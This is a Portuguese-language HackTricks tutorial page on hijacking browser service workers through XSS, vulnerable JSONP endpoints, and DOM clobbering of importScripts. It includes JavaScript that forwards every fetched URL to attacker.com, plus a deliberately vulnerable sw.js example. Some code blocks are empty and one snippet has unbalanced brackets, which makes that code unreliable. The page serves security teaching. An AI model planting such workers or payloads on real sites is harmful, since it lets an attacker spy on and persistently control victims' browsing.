# Abusando dos Service Workers
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** ## Informações Básicas Um service worker é um **script** que seu navegador **executa** em **segundo plano**, separado de uma página da web, abrindo a porta para recursos que não precisam de uma página da web ou interação do usuário. ([Mais informações sobre o que é um service worker aqui](https://developers.google.com/web/fundamentals/primers/service-workers)).\ Então, você pode abusar dos service workers **criando/modificando-os** na **sessão da vítima** dentro do **domínio** web **vulnerável** que concede ao **atacante o controle** sobre **todas as páginas** que a **vítima** carregará nesse domínio. ### Verificar SWs existentes Você pode vê-los no campo **Service Workers** na guia **Application** das **Ferramentas de Desenvolvedor**. Você também pode olhar em [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals). ### Notificações Push Se a vítima não concedeu permissões de **notificações push**, o service worker **não poderá receber comunicações do servidor se o usuário não acessar a página do atacante novamente**. Isso irá **prevenir**, por exemplo, a manutenção de conversas com todas as páginas que acessaram a página da web do atacante, para que, se um exploit for encontrado, o SW possa recebê-lo e executá-lo.\ No entanto, se a vítima **conceder permissões de notificações push, isso pode representar um risco**. ## Ataque Criando um Service Worker Para explorar essa vulnerabilidade, você precisa encontrar: * Uma maneira de **fazer upload de arquivos JS arbitrários** para o servidor e um **XSS para carregar o service worker** do arquivo JS enviado * Uma **solicitação JSONP vulnerável** onde você pode **manipular a saída (com código JS arbitrário)** e um **XSS** para **carregar o JSONP com um payload** que irá **carregar um service worker malicioso**. No exemplo a seguir, vou apresentar um código para **registrar um novo service worker** que irá ouvir o evento `fetch` e **enviar para o servidor do atacante cada URL buscado** (este é o código que você precisaria **fazer upload** para o **servidor** ou carregar via uma resposta **JSONP vulnerável**): ```javascript self.addEventListener('fetch', function(e) { e.respondWith(caches.match(e.request).then(function(response) { fetch('https://attacker.com/fetch_url/' + e.request.url) }); ``` E este é o código que irá **registrar o worker** (o código que você deve ser capaz de executar abusando de um **XSS**). Neste caso, uma solicitação **GET** será enviada para o servidor do **atacante**, **notificando** se o **registro** do service worker foi bem-sucedido ou não: ```javascript ``` No caso de abusar de um ponto de extremidade JSONP vulnerável, você deve colocar o valor dentro de `var sw`. Por exemplo: ```javascript var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"; ``` Existe um **C2** dedicado à **exploração de Service Workers** chamado [**Shadow Workers**](https://shadow-workers.github.io) que será muito útil para abusar dessas vulnerabilidades. Em uma situação de XSS, o limite de diretiva de cache de 24 horas garante que um SW malicioso ou comprometido sobreviva a uma correção da vulnerabilidade de XSS por no máximo 24 horas (assumindo que o cliente esteja online). Os operadores do site podem reduzir a janela de vulnerabilidade definindo TTLs mais baixos nos scripts SW. Também incentivamos os desenvolvedores a [criarem um SW de desativação](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776). ## Abusando do `importScripts` em um SW através do DOM Clobbering A função **`importScripts`** chamada de um Service Worker pode **importar um script de um domínio diferente**. Se essa função for chamada usando um **parâmetro que um atacante poderia** modificar, ele seria capaz de **importar um script JS de seu domínio** e obter XSS. **Isso até mesmo contorna as proteções CSP.** **Exemplo de código vulnerável:** * **index.html** ```html ``` * **sw.js** ```javascript const searchParams = new URLSearchParams(location.search); let host = searchParams.get('host'); self.importScripts(host + "/sw_extra.js"); //host can be controllable by an attacker ``` ### Com DOM Clobbering Para obter mais informações sobre o que é o DOM Clobbering, consulte: {% content-ref url="dom-clobbering.md" %} [dom-clobbering.md](dom-clobbering.md) {% endcontent-ref %} Se a URL/domínio que o SW está usando para chamar **`importScripts`** estiver **dentro de um elemento HTML**, é **possível modificá-lo via DOM Clobbering** para fazer com que o SW **carregue um script do seu próprio domínio**. Para um exemplo disso, consulte o link de referência. ## Referências * [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).